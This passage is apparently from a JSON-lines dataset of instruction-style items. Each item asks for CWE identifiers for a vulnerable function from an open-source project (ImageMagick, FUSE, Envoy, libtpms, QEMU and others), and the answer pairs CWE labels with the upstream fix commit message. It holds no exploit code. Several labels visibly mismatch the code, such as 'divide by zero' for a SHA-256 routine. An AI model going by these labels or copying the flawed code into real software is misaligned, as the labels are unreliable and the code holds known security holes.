0x53380d13U, 0x650a7354U, 0x766a0abbU, 0x81c2c92eU, 0x92722c85U,\n 0xa2bfe8a1U, 0xa81a664bU, 0xc24b8b70U, 0xc76c51a3U, 0xd192e819U,\n 0xd6990624U, 0xf40e3585U, 0x106aa070U, 0x19a4c116U, 0x1e376c08U,\n 0x2748774cU, 0x34b0bcb5U, 0x391c0cb3U, 0x4ed8aa4aU, 0x5b9cca4fU,\n 0x682e6ff3U, 0x748f82eeU, 0x78a5636fU, 0x84c87814U, 0x8cc70208U,\n 0x90befffaU, 0xa4506cebU, 0xbef9a3f7U, 0xc67178f2U\n }; /* 32-bit fractional part of the cube root of the first 64 primes */\n\n unsigned int\n A,\n B,\n C,\n D,\n E,\n F,\n G,\n H,\n shift,\n T,\n T1,\n T2,\n W[64];\n\n shift=32;\n p=GetStringInfoDatum(signature_info->message);\n if (signature_info->lsb_first == MagickFalse)\n {\nDisableMSCWarning(4127)\n if (sizeof(unsigned int) <= 4)\nRestoreMSCWarning\n for (i=0; i < 16; i++)\n {\n T=(*((unsigned int *) p));\n p+=4;\n W[i]=Trunc32(T);\n }\n else\n for (i=0; i < 16; i+=2)\n {\n T=(*((unsigned int *) p));\n p+=8;\n W[i]=Trunc32(T >> shift);\n W[i+1]=Trunc32(T);\n }\n }\n else\nDisableMSCWarning(4127)\n if (sizeof(unsigned int) <= 4)\nRestoreMSCWarning\n for (i=0; i < 16; i++)\n {\n T=(*((unsigned int *) p));\n p+=4;\n W[i]=((T << 24) & 0xff000000) | ((T << 8) & 0x00ff0000) |\n ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);\n }\n else\n for (i=0; i < 16; i+=2)\n {\n T=(*((unsigned int *) p));\n p+=8;\n W[i]=((T << 24) & 0xff000000) | ((T << 8) & 0x00ff0000) |\n ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);\n T>>=shift;\n W[i+1]=((T << 24) & 0xff000000) | ((T << 8) & 0x00ff0000) |\n ((T >> 8) & 0x0000ff00) | ((T >> 24) & 0x000000ff);\n }\n /*\n Copy accumulator to registers.\n */\n A=signature_info->accumulator[0];\n B=signature_info->accumulator[1];\n C=signature_info->accumulator[2];\n D=signature_info->accumulator[3];\n E=signature_info->accumulator[4];\n F=signature_info->accumulator[5];\n G=signature_info->accumulator[6];\n H=signature_info->accumulator[7];\n for (i=16; i < 64; i++)\n W[i]=Trunc32(Sigma1(W[i-2])+W[i-7]+Sigma0(W[i-15])+W[i-16]);\n for (j=0; j < 64; j++)\n {\n T1=Trunc32(H+Suma1(E)+Ch(E,F,G)+K[j]+W[j]);\n T2=Trunc32(Suma0(A)+Maj(A,B,C));\n H=G;\n G=F;\n F=E;\n E=Trunc32(D+T1);\n D=C;\n C=B;\n B=A;\n A=Trunc32(T1+T2);\n }\n /*\n Add registers back to accumulator.\n */\n signature_info->accumulator[0]=Trunc32(signature_info->accumulator[0]+A);\n signature_info->accumulator[1]=Trunc32(signature_info->accumulator[1]+B);\n signature_info->accumulator[2]=Trunc32(signature_info->accumulator[2]+C);\n signature_info->accumulator[3]=Trunc32(signature_info->accumulator[3]+D);\n signature_info->accumulator[4]=Trunc32(signature_info->accumulator[4]+E);\n signature_info->accumulator[5]=Trunc32(signature_info->accumulator[5]+F);\n signature_info->accumulator[6]=Trunc32(signature_info->accumulator[6]+G);\n signature_info->accumulator[7]=Trunc32(signature_info->accumulator[7]+H);\n /*\n Reset working registers.\n */\n A=0;\n B=0;\n C=0;\n D=0;\n E=0;\n F=0;\n G=0;\n H=0;\n T=0;\n T1=0;\n T2=0;\n (void) memset(W,0,sizeof(W));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-369'], 'message': 'possible divide by zero + clear buffers'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: virtual void\tseekg (Int64 pos)\n {\n if( pos < 0 )\n {\n THROW (IEX_NAMESPACE::InputExc, \"internal error: seek to \" << pos << \" requested\");\n }\n\n current = base + pos;\n\n if( current < base || current > end)\n {\n THROW (IEX_NAMESPACE::InputExc, \"Out of range seek requested\\n\");\n }\n\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Handle xsampling and bad seekg() calls in exrcheck (#872)\n\n* fix exrcheck xsampling!=1\r\n\r\nSigned-off-by: Peter Hillman \r\n\r\n* fix handling bad seekg() calls in exrcheck\r\n\r\nSigned-off-by: Peter Hillman \r\n\r\n* fix deeptile detection in multipart files\r\n\r\nSigned-off-by: Peter Hillman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int PackLinuxElf64::canUnpack()\n{\n if (super::canUnpack()) {\n return true;\n }\n if (Elf64_Ehdr::ET_DYN==get_te16(&ehdri.e_type)) {\n PackLinuxElf64help1(fi);\n Elf64_Phdr const *phdr = phdri, *last_LOAD = nullptr;\n for (unsigned j = 0; j < e_phnum; ++phdr, ++j)\n if (Elf64_Phdr::PT_LOAD==get_te32(&phdr->p_type)) {\n last_LOAD = phdr;\n }\n if (!last_LOAD)\n return false;\n off_t offset = get_te64(&last_LOAD->p_offset);\n unsigned filesz = get_te64(&last_LOAD->p_filesz);\n fi->seek(filesz+offset, SEEK_SET);\n MemBuffer buf(32 + sizeof(overlay_offset));\n fi->readx(buf, buf.getSize());\n return PackUnix::find_overlay_offset(buf);\n }\n return false;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-415'], 'message': 'PackLinuxElf::canUnpack must checkEhdr() for ELF input\n\nhttps://github.com/upx/upx/issues/485\n\tmodified: p_lx_elf.cpp'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct posix_acl *fuse_get_acl(struct inode *inode, int type)\n{\n\tstruct fuse_conn *fc = get_fuse_conn(inode);\n\tint size;\n\tconst char *name;\n\tvoid *value = NULL;\n\tstruct posix_acl *acl;\n\n\tif (!fc->posix_acl || fc->no_getxattr)\n\t\treturn NULL;\n\n\tif (type == ACL_TYPE_ACCESS)\n\t\tname = XATTR_NAME_POSIX_ACL_ACCESS;\n\telse if (type == ACL_TYPE_DEFAULT)\n\t\tname = XATTR_NAME_POSIX_ACL_DEFAULT;\n\telse\n\t\treturn ERR_PTR(-EOPNOTSUPP);\n\n\tvalue = kmalloc(PAGE_SIZE, GFP_KERNEL);\n\tif (!value)\n\t\treturn ERR_PTR(-ENOMEM);\n\tsize = fuse_getxattr(inode, name, value, PAGE_SIZE);\n\tif (size > 0)\n\t\tacl = posix_acl_from_xattr(fc->user_ns, value, size);\n\telse if ((size == 0) || (size == -ENODATA) ||\n\t\t (size == -EOPNOTSUPP && fc->no_getxattr))\n\t\tacl = NULL;\n\telse if (size == -ERANGE)\n\t\tacl = ERR_PTR(-E2BIG);\n\telse\n\t\tacl = ERR_PTR(size);\n\n\tkfree(value);\n\treturn acl;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-459'], 'message': 'fuse: fix bad inode\n\nJan Kara's analysis of the syzbot report (edited):\n\n The reproducer opens a directory on FUSE filesystem, it then attaches\n dnotify mark to the open directory. After that a fuse_do_getattr() call\n finds that attributes returned by the server are inconsistent, and calls\n make_bad_inode() which, among other things does:\n\n inode->i_mode = S_IFREG;\n\n This then confuses dnotify which doesn't tear down its structures\n properly and eventually crashes.\n\nAvoid calling make_bad_inode() on a live inode: switch to a private flag on\nthe fuse inode. Also add the test to ops which the bad_inode_ops would\nhave caught.\n\nThis bug goes back to the initial merge of fuse in 2.6.14...\n\nReported-by: syzbot+f427adf9324b92652ccc@syzkaller.appspotmail.com\nSigned-off-by: Miklos Szeredi \nTested-by: Jan Kara \nCc: '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static ssize_t fuse_file_write_iter(struct kiocb *iocb, struct iov_iter *from)\n{\n\tstruct file *file = iocb->ki_filp;\n\tstruct fuse_file *ff = file->private_data;\n\tstruct inode *inode = file_inode(file);\n\n\tif (is_bad_inode(inode))\n\t\treturn -EIO;\n\n\tif (FUSE_IS_DAX(inode))\n\t\treturn fuse_dax_write_iter(iocb, from);\n\n\tif (!(ff->open_flags & FOPEN_DIRECT_IO))\n\t\treturn fuse_cache_write_iter(iocb, from);\n\telse\n\t\treturn fuse_direct_write_iter(iocb, from);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-459'], 'message': 'fuse: fix bad inode\n\nJan Kara's analysis of the syzbot report (edited):\n\n The reproducer opens a directory on FUSE filesystem, it then attaches\n dnotify mark to the open directory. After that a fuse_do_getattr() call\n finds that attributes returned by the server are inconsistent, and calls\n make_bad_inode() which, among other things does:\n\n inode->i_mode = S_IFREG;\n\n This then confuses dnotify which doesn't tear down its structures\n properly and eventually crashes.\n\nAvoid calling make_bad_inode() on a live inode: switch to a private flag on\nthe fuse inode. Also add the test to ops which the bad_inode_ops would\nhave caught.\n\nThis bug goes back to the initial merge of fuse in 2.6.14...\n\nReported-by: syzbot+f427adf9324b92652ccc@syzkaller.appspotmail.com\nSigned-off-by: Miklos Szeredi \nTested-by: Jan Kara \nCc: '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int fuse_unlink(struct inode *dir, struct dentry *entry)\n{\n\tint err;\n\tstruct fuse_mount *fm = get_fuse_mount(dir);\n\tFUSE_ARGS(args);\n\n\targs.opcode = FUSE_UNLINK;\n\targs.nodeid = get_node_id(dir);\n\targs.in_numargs = 1;\n\targs.in_args[0].size = entry->d_name.len + 1;\n\targs.in_args[0].value = entry->d_name.name;\n\terr = fuse_simple_request(fm, &args);\n\tif (!err) {\n\t\tstruct inode *inode = d_inode(entry);\n\t\tstruct fuse_inode *fi = get_fuse_inode(inode);\n\n\t\tspin_lock(&fi->lock);\n\t\tfi->attr_version = atomic64_inc_return(&fm->fc->attr_version);\n\t\t/*\n\t\t * If i_nlink == 0 then unlink doesn't make sense, yet this can\n\t\t * happen if userspace filesystem is careless. It would be\n\t\t * difficult to enforce correct nlink usage so just ignore this\n\t\t * condition here\n\t\t */\n\t\tif (inode->i_nlink > 0)\n\t\t\tdrop_nlink(inode);\n\t\tspin_unlock(&fi->lock);\n\t\tfuse_invalidate_attr(inode);\n\t\tfuse_dir_changed(dir);\n\t\tfuse_invalidate_entry_cache(entry);\n\t\tfuse_update_ctime(inode);\n\t} else if (err == -EINTR)\n\t\tfuse_invalidate_entry(entry);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-459'], 'message': 'fuse: fix bad inode\n\nJan Kara's analysis of the syzbot report (edited):\n\n The reproducer opens a directory on FUSE filesystem, it then attaches\n dnotify mark to the open directory. After that a fuse_do_getattr() call\n finds that attributes returned by the server are inconsistent, and calls\n make_bad_inode() which, among other things does:\n\n inode->i_mode = S_IFREG;\n\n This then confuses dnotify which doesn't tear down its structures\n properly and eventually crashes.\n\nAvoid calling make_bad_inode() on a live inode: switch to a private flag on\nthe fuse inode. Also add the test to ops which the bad_inode_ops would\nhave caught.\n\nThis bug goes back to the initial merge of fuse in 2.6.14...\n\nReported-by: syzbot+f427adf9324b92652ccc@syzkaller.appspotmail.com\nSigned-off-by: Miklos Szeredi \nTested-by: Jan Kara \nCc: '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: BnGeneratePrimeForRSA(\n\t\t bigNum prime, // IN/OUT: points to the BN that will get the\n\t\t // random value\n\t\t UINT32 bits, // IN: number of bits to get\n\t\t UINT32 exponent, // IN: the exponent\n\t\t RAND_STATE *rand // IN: the random state\n\t\t )\n{\n BOOL found = FALSE;\n //\n // Make sure that the prime is large enough\n pAssert(prime->allocated >= BITS_TO_CRYPT_WORDS(bits));\n // Only try to handle specific sizes of keys in order to save overhead\n pAssert((bits % 32) == 0);\n \n prime->size = BITS_TO_CRYPT_WORDS(bits);\n \n while(!found)\n\t{\n\t // The change below is to make sure that all keys that are generated from the same\n\t // seed value will be the same regardless of the endianess or word size of the CPU.\n\t // DRBG_Generate(rand, (BYTE *)prime->d, (UINT16)BITS_TO_BYTES(bits));// old\n\t // if(g_inFailureMode) // old\n\t// libtpms changed begin\n\t switch (DRBG_GetSeedCompatLevel(rand)) {\n\t case SEED_COMPAT_LEVEL_ORIGINAL:\n\t\tDRBG_Generate(rand, (BYTE *)prime->d, (UINT16)BITS_TO_BYTES(bits));\n\t\tif (g_inFailureMode)\n\t\t return TPM_RC_FAILURE;\n\t\tbreak;\n\t /* case SEED_COMPAT_LEVEL_LAST: */\n case SEED_COMPAT_LEVEL_RSA_PRIME_ADJUST_FIX:\n\t\tif(!BnGetRandomBits(prime, bits, rand)) // new\n\t\t return TPM_RC_FAILURE;\n break;\n default:\n FAIL(FATAL_ERROR_INTERNAL);\n\t }\n\t RsaAdjustPrimeCandidate(prime, DRBG_GetSeedCompatLevel(rand));\n\t// libtpms changed end\n\t found = RsaCheckPrime(prime, exponent, rand) == TPM_RC_SUCCESS;\n\t}\n return TPM_RC_SUCCESS;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-331'], 'message': 'tpm2: Activate SEED_COMPAT_LEVEL_RSA_PRIME_ADJUST_FIX\n\nSigned-off-by: Stefan Berger '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void ConnectionManagerImpl::ActiveStream::decodeHeaders(RequestHeaderMapPtr&& headers,\n bool end_stream) {\n ScopeTrackerScopeState scope(this,\n connection_manager_.read_callbacks_->connection().dispatcher());\n request_headers_ = std::move(headers);\n filter_manager_.requestHeadersInitialized();\n if (request_header_timer_ != nullptr) {\n request_header_timer_->disableTimer();\n request_header_timer_.reset();\n }\n\n Upstream::HostDescriptionConstSharedPtr upstream_host =\n connection_manager_.read_callbacks_->upstreamHost();\n\n if (upstream_host != nullptr) {\n Upstream::ClusterRequestResponseSizeStatsOptRef req_resp_stats =\n upstream_host->cluster().requestResponseSizeStats();\n if (req_resp_stats.has_value()) {\n req_resp_stats->get().upstream_rq_headers_size_.recordValue(request_headers_->byteSize());\n }\n }\n\n // Both saw_connection_close_ and is_head_request_ affect local replies: set\n // them as early as possible.\n const Protocol protocol = connection_manager_.codec_->protocol();\n state_.saw_connection_close_ = HeaderUtility::shouldCloseConnection(protocol, *request_headers_);\n\n // We need to snap snapped_route_config_ here as it's used in mutateRequestHeaders later.\n if (connection_manager_.config_.isRoutable()) {\n if (connection_manager_.config_.routeConfigProvider() != nullptr) {\n snapped_route_config_ = connection_manager_.config_.routeConfigProvider()->config();\n } else if (connection_manager_.config_.scopedRouteConfigProvider() != nullptr) {\n snapped_scoped_routes_config_ =\n connection_manager_.config_.scopedRouteConfigProvider()->config();\n snapScopedRouteConfig();\n }\n } else {\n snapped_route_config_ = connection_manager_.config_.routeConfigProvider()->config();\n }\n\n ENVOY_STREAM_LOG(debug, \"request headers complete (end_stream={}):\\n{}\", *this, end_stream,\n *request_headers_);\n\n // We end the decode here only if the request is header only. If we convert the request to a\n // header only, the stream will be marked as done once a subsequent decodeData/decodeTrailers is\n // called with end_stream=true.\n filter_manager_.maybeEndDecode(end_stream);\n\n // Drop new requests when overloaded as soon as we have decoded the headers.\n if (connection_manager_.random_generator_.bernoulli(\n connection_manager_.overload_stop_accepting_requests_ref_.value())) {\n // In this one special case, do not create the filter chain. If there is a risk of memory\n // overload it is more important to avoid unnecessary allocation than to create the filters.\n filter_manager_.skipFilterChainCreation();\n connection_manager_.stats_.named_.downstream_rq_overload_close_.inc();\n sendLocalReply(Grpc::Common::isGrpcRequestHeaders(*request_headers_),\n Http::Code::ServiceUnavailable, \"envoy overloaded\", nullptr, absl::nullopt,\n StreamInfo::ResponseCodeDetails::get().Overload);\n return;\n }\n\n if (!connection_manager_.config_.proxy100Continue() && request_headers_->Expect() &&\n request_headers_->Expect()->value() == Headers::get().ExpectValues._100Continue.c_str()) {\n // Note in the case Envoy is handling 100-Continue complexity, it skips the filter chain\n // and sends the 100-Continue directly to the encoder.\n chargeStats(continueHeader());\n response_encoder_->encode100ContinueHeaders(continueHeader());\n // Remove the Expect header so it won't be handled again upstream.\n request_headers_->removeExpect();\n }\n\n connection_manager_.user_agent_.initializeFromHeaders(*request_headers_,\n connection_manager_.stats_.prefixStatName(),\n connection_manager_.stats_.scope_);\n\n // Make sure we are getting a codec version we support.\n if (protocol == Protocol::Http10) {\n // Assume this is HTTP/1.0. This is fine for HTTP/0.9 but this code will also affect any\n // requests with non-standard version numbers (0.9, 1.3), basically anything which is not\n // HTTP/1.1.\n //\n // The protocol may have shifted in the HTTP/1.0 case so reset it.\n filter_manager_.streamInfo().protocol(protocol);\n if (!connection_manager_.config_.http1Settings().accept_http_10_) {\n // Send \"Upgrade Required\" if HTTP/1.0 support is not explicitly configured on.\n sendLocalReply(false, Code::UpgradeRequired, \"\", nullptr, absl::nullopt,\n StreamInfo::ResponseCodeDetails::get().LowVersion);\n return;\n }\n if (!request_headers_->Host() &&\n !connection_manager_.config_.http1Settings().default_host_for_http_10_.empty()) {\n // Add a default host if configured to do so.\n request_headers_->setHost(\n connection_manager_.config_.http1Settings().default_host_for_http_10_);\n }\n }\n\n if (!request_headers_->Host()) {\n // Require host header. For HTTP/1.1 Host has already been translated to :authority.\n sendLocalReply(Grpc::Common::hasGrpcContentType(*request_headers_), Code::BadRequest, \"\",\n nullptr, absl::nullopt, StreamInfo::ResponseCodeDetails::get().MissingHost);\n return;\n }\n\n // Verify header sanity checks which should have been performed by the codec.\n ASSERT(HeaderUtility::requestHeadersValid(*request_headers_).has_value() == false);\n\n // Check for the existence of the :path header for non-CONNECT requests, or present-but-empty\n // :path header for CONNECT requests. We expect the codec to have broken the path into pieces if\n // applicable. NOTE: Currently the HTTP/1.1 codec only does this when the allow_absolute_url flag\n // is enabled on the HCM.\n if ((!HeaderUtility::isConnect(*request_headers_) || request_headers_->Path()) &&\n request_headers_->getPathValue().empty()) {\n sendLocalReply(Grpc::Common::hasGrpcContentType(*request_headers_), Code::NotFound, \"\", nullptr,\n absl::nullopt, StreamInfo::ResponseCodeDetails::get().MissingPath);\n return;\n }\n\n // Currently we only support relative paths at the application layer.\n if (!request_headers_->getPathValue().empty() && request_headers_->getPathValue()[0] != '/') {\n connection_manager_.stats_.named_.downstream_rq_non_relative_path_.inc();\n sendLocalReply(Grpc::Common::hasGrpcContentType(*request_headers_), Code::NotFound, \"\", nullptr,\n absl::nullopt, StreamInfo::ResponseCodeDetails::get().AbsolutePath);\n return;\n }\n\n // Path sanitization should happen before any path access other than the above sanity check.\n if (!ConnectionManagerUtility::maybeNormalizePath(*request_headers_,\n connection_manager_.config_)) {\n sendLocalReply(Grpc::Common::hasGrpcContentType(*request_headers_), Code::BadRequest, \"\",\n nullptr, absl::nullopt,\n StreamInfo::ResponseCodeDetails::get().PathNormalizationFailed);\n return;\n }\n\n auto optional_port = ConnectionManagerUtility::maybeNormalizeHost(\n *request_headers_, connection_manager_.config_, localPort());\n if (optional_port.has_value() &&\n requestWasConnect(request_headers_, connection_manager_.codec_->protocol())) {\n filter_manager_.streamInfo().filterState()->setData(\n Router::OriginalConnectPort::key(),\n std::make_unique(optional_port.value()),\n StreamInfo::FilterState::StateType::ReadOnly, StreamInfo::FilterState::LifeSpan::Request);\n }\n\n if (!state_.is_internally_created_) { // Only sanitize headers on first pass.\n // Modify the downstream remote address depending on configuration and headers.\n filter_manager_.setDownstreamRemoteAddress(ConnectionManagerUtility::mutateRequestHeaders(\n *request_headers_, connection_manager_.read_callbacks_->connection(),\n connection_manager_.config_, *snapped_route_config_, connection_manager_.local_info_));\n }\n ASSERT(filter_manager_.streamInfo().downstreamAddressProvider().remoteAddress() != nullptr);\n\n ASSERT(!cached_route_);\n refreshCachedRoute();\n\n if (!state_.is_internally_created_) { // Only mutate tracing headers on first pass.\n filter_manager_.streamInfo().setTraceReason(\n ConnectionManagerUtility::mutateTracingRequestHeader(\n *request_headers_, connection_manager_.runtime_, connection_manager_.config_,\n cached_route_.value().get()));\n }\n\n filter_manager_.streamInfo().setRequestHeaders(*request_headers_);\n\n const bool upgrade_rejected = filter_manager_.createFilterChain() == false;\n\n // TODO if there are no filters when starting a filter iteration, the connection manager\n // should return 404. The current returns no response if there is no router filter.\n if (hasCachedRoute()) {\n // Do not allow upgrades if the route does not support it.\n if (upgrade_rejected) {\n // While downstream servers should not send upgrade payload without the upgrade being\n // accepted, err on the side of caution and refuse to process any further requests on this\n // connection, to avoid a class of HTTP/1.1 smuggling bugs where Upgrade or CONNECT payload\n // contains a smuggled HTTP request.\n state_.saw_connection_close_ = true;\n connection_manager_.stats_.named_.downstream_rq_ws_on_non_ws_route_.inc();\n sendLocalReply(Grpc::Common::hasGrpcContentType(*request_headers_), Code::Forbidden, \"\",\n nullptr, absl::nullopt, StreamInfo::ResponseCodeDetails::get().UpgradeFailed);\n return;\n }\n // Allow non websocket requests to go through websocket enabled routes.\n }\n\n if (hasCachedRoute()) {\n const Router::RouteEntry* route_entry = cached_route_.value()->routeEntry();\n if (route_entry != nullptr && route_entry->idleTimeout()) {\n // TODO(mattklein123): Technically if the cached route changes, we should also see if the\n // route idle timeout has changed and update the value.\n idle_timeout_ms_ = route_entry->idleTimeout().value();\n response_encoder_->getStream().setFlushTimeout(idle_timeout_ms_);\n if (idle_timeout_ms_.count()) {\n // If we have a route-level idle timeout but no global stream idle timeout, create a timer.\n if (stream_idle_timer_ == nullptr) {\n stream_idle_timer_ =\n connection_manager_.read_callbacks_->connection().dispatcher().createScaledTimer(\n Event::ScaledTimerType::HttpDownstreamIdleStreamTimeout,\n [this]() -> void { onIdleTimeout(); });\n }\n } else if (stream_idle_timer_ != nullptr) {\n // If we had a global stream idle timeout but the route-level idle timeout is set to zero\n // (to override), we disable the idle timer.\n stream_idle_timer_->disableTimer();\n stream_idle_timer_ = nullptr;\n }\n }\n }\n\n // Check if tracing is enabled at all.\n if (connection_manager_.config_.tracingConfig()) {\n traceRequest();\n }\n\n filter_manager_.decodeHeaders(*request_headers_, end_stream);\n\n // Reset it here for both global and overridden cases.\n resetIdleTimer();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'Implement handling of escaped slash characters in URL path\n\nFixes: CVE-2021-29492\n\nSigned-off-by: Yan Avlasov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sync_create_state_control(Slapi_Entry *e, LDAPControl **ctrlp, int type, Sync_Cookie *cookie, PRBool openldap_compat)\n{\n int rc;\n BerElement *ber;\n struct berval *bvp;\n char *uuid;\n Slapi_Attr *attr;\n Slapi_Value *val;\n\n if (type == LDAP_SYNC_NONE || ctrlp == NULL || (ber = der_alloc()) == NULL) {\n return (LDAP_OPERATIONS_ERROR);\n }\n\n *ctrlp = NULL;\n\n if (openldap_compat) {\n slapi_entry_attr_find(e, SLAPI_ATTR_ENTRYUUID, &attr);\n if (!attr) {\n /*\n * We can't proceed from here. We are in openldap mode, but some entries don't\n * have their UUID. This means that the tree could be corrupted on the openldap\n * server, so we have to stop now.\n */\n slapi_log_err(SLAPI_LOG_ERR, SYNC_PLUGIN_SUBSYSTEM,\n \"sync_create_state_control - Some entries are missing entryUUID. Unable to proceed. You may need to re-run the entryuuid fixup\\n\");\n return (LDAP_OPERATIONS_ERROR);\n }\n slapi_attr_first_value(attr, &val);\n uuid = sync_entryuuid2uuid(slapi_value_get_string(val));\n } else {\n slapi_entry_attr_find(e, SLAPI_ATTR_UNIQUEID, &attr);\n slapi_attr_first_value(attr, &val);\n uuid = sync_nsuniqueid2uuid(slapi_value_get_string(val));\n }\n\n if ((rc = ber_printf(ber, \"{eo\", type, uuid, 16)) != -1) {\n if (cookie) {\n char *cookiestr = sync_cookie2str(cookie);\n rc = ber_printf(ber, \"s}\", cookiestr);\n slapi_ch_free((void **)&cookiestr);\n } else {\n rc = ber_printf(ber, \"}\");\n }\n }\n if (rc != -1) {\n rc = ber_flatten(ber, &bvp);\n }\n ber_free(ber, 1);\n slapi_ch_free((void **)&uuid);\n\n if (rc == -1) {\n return (LDAP_OPERATIONS_ERROR);\n }\n\n *ctrlp = (LDAPControl *)slapi_ch_malloc(sizeof(LDAPControl));\n (*ctrlp)->ldctl_iscritical = 0;\n (*ctrlp)->ldctl_oid = slapi_ch_strdup(LDAP_CONTROL_SYNC_STATE);\n (*ctrlp)->ldctl_value = *bvp; /* struct copy */\n\n bvp->bv_val = NULL;\n ber_bvfree(bvp);\n\n return (LDAP_SUCCESS);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Issue 4711 - SIGSEV with sync_repl (#4738)\n\nBug description:\r\n\tsync_repl sends back entries identified with a unique\r\n\tidentifier that is 'nsuniqueid'. If 'nsuniqueid' is\r\n\tmissing, then it may crash\r\n\r\nFix description:\r\n\tCheck a nsuniqueid is available else returns OP_ERR\r\n\r\nrelates: https://github.com/389ds/389-ds-base/issues/4711\r\n\r\nReviewed by: Pierre Rogier, James Chapman, William Brown (Thanks!)\r\n\r\nPlatforms tested: F33'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int sldns_str2wire_dname_buf_origin(const char* str, uint8_t* buf, size_t* len,\n\tuint8_t* origin, size_t origin_len)\n{\n\tsize_t dlen = *len;\n\tint rel = 0;\n\tint s = sldns_str2wire_dname_buf_rel(str, buf, &dlen, &rel);\n\tif(s) return s;\n\n\tif(rel && origin && dlen > 0) {\n\t\tif(dlen + origin_len - 1 > LDNS_MAX_DOMAINLEN)\n\t\t\treturn RET_ERR(LDNS_WIREPARSE_ERR_DOMAINNAME_OVERFLOW,\n\t\t\t\tLDNS_MAX_DOMAINLEN);\n\t\tif(dlen + origin_len - 1 > *len)\n\t\t\treturn RET_ERR(LDNS_WIREPARSE_ERR_BUFFER_TOO_SMALL,\n\t\t\t\t*len);\n\t\tmemmove(buf+dlen-1, origin, origin_len);\n\t\t*len = dlen + origin_len - 1;\n\t} else\n\t\t*len = dlen;\n\treturn LDNS_WIREPARSE_ERR_OK;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': '- Fix Integer Overflow to Buffer Overflow in\n sldns_str2wire_dname_buf_origin(), reported by X41 D-Sec.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void usbredir_handle_bulk_data(USBRedirDevice *dev, USBPacket *p,\n uint8_t ep)\n{\n struct usb_redir_bulk_packet_header bulk_packet;\n size_t size = usb_packet_size(p);\n const int maxp = dev->endpoint[EP2I(ep)].max_packet_size;\n\n if (usbredir_already_in_flight(dev, p->id)) {\n p->status = USB_RET_ASYNC;\n return;\n }\n\n if (dev->endpoint[EP2I(ep)].bulk_receiving_enabled) {\n if (size != 0 && (size % maxp) == 0) {\n usbredir_handle_buffered_bulk_in_data(dev, p, ep);\n return;\n }\n WARNING(\"bulk recv invalid size %zd ep %02x, disabling\\n\", size, ep);\n assert(dev->endpoint[EP2I(ep)].pending_async_packet == NULL);\n usbredir_stop_bulk_receiving(dev, ep);\n dev->endpoint[EP2I(ep)].bulk_receiving_enabled = 0;\n }\n\n DPRINTF(\"bulk-out ep %02X stream %u len %zd id %\"PRIu64\"\\n\",\n ep, p->stream, size, p->id);\n\n bulk_packet.endpoint = ep;\n bulk_packet.length = size;\n bulk_packet.stream_id = p->stream;\n bulk_packet.length_high = size >> 16;\n assert(bulk_packet.length_high == 0 ||\n usbredirparser_peer_has_cap(dev->parser,\n usb_redir_cap_32bits_bulk_length));\n\n if (ep & USB_DIR_IN || size == 0) {\n usbredirparser_send_bulk_packet(dev->parser, p->id,\n &bulk_packet, NULL, 0);\n } else {\n uint8_t buf[size];\n usb_packet_copy(p, buf, size);\n usbredir_log_data(dev, \"bulk data out:\", buf, size);\n usbredirparser_send_bulk_packet(dev->parser, p->id,\n &bulk_packet, buf, size);\n }\n usbredirparser_do_write(dev->parser);\n p->status = USB_RET_ASYNC;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 